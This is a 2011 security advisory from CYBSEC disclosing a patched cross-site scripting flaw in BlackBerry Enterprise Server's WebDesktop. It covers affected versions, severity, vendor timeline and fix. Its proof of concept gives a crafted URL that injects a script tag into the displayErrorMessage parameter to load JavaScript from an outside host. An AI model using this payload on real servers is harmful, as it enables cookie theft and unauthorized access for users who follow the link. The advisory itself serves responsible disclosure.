Blackberry WebDesktop Cross Site Scripting

`Advisory Name: Cross-Site Scripting (XSS) in Blackberry WebDesktop  
  
Internal Cybsec Advisory Id: 2011-0401  
  
Vulnerability Class: Cross-Site Scripting (XSS)  
  
Release Date: 12/04/2011  
  
Affected Applications:   
. BlackBerry Enterprise Server Express versions 5.0.1 and 5.0.2 for Microsoft Exchange  
. BlackBerry Enterprise Server Express version 5.0.2 for IBM Lotus Domino  
. BlackBerry Enterprise Server versions 5.0.0 through 5.0.3 for Microsoft Exchange and IBM Lotus Domino  
. BlackBerry Enterprise Server version 5.0.1 for Novell GroupWise  
  
Affected Platforms: Blackberry Enterprise Server  
  
Local / Remote: Remote   
  
Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:P/I:N/A:N)  
  
Researcher: Ivan Huertas   
  
Vendor Status: Patched  
  
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf  
  
Vulnerability Description:  
  
A Cross Site Scripting vulnerability was found in Blackberry WebDektop, because the application fails to sanitize user-supplied input. The vulnerability can be triggered if a logged user follows a specially crafted link, executing malicious Javascript code on the user's browser.  
  
Proof of Concept:   
  
Inserting <SCRIPT SRC=http://xxx.xxx.x.xx/CYB.JS/> in the parameter displayErrorMessage would execute the code included in the javascript file CYB.JS.  
  
https://xxx.xxx.x.xxx:3443/webdesktop/app?page=pages/advanced/ManageDevices&service=page&displayErrorMessage=%3CSCRIPT%20SRC%3d%22http%3a%2f%2fxxx.xxx.xxx.xx%2fCYB.JS%22%2f%3E  
  
Impact:  
  
An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.  
  
Solution:  
  
Install the latest release with the instructions included in http://blackberry.com/btsc/KB26296  
  
Vendor Response:  
  
2011-22-02 - Vulnerability was identified  
2011-23-02 - Vendor contacted  
2011-20-03 - Vendor confirmed vulnerability  
2011-12-04 - Vendor released fixed version  
2011-12-04 - Vulnerability published  
  
Contact Information:  
  
For more information regarding the vulnerability feel free to contact the researcher at   
ihuertas <at> cybsec <dot> com  
  
About CYBSEC S.A. Security Systems   
  
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.  
  
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.   
  
Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.   
  
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.   
  
For more information, please visit www.cybsec.com   
(c) 2011 - CYBSEC S.A. Security Systems  
`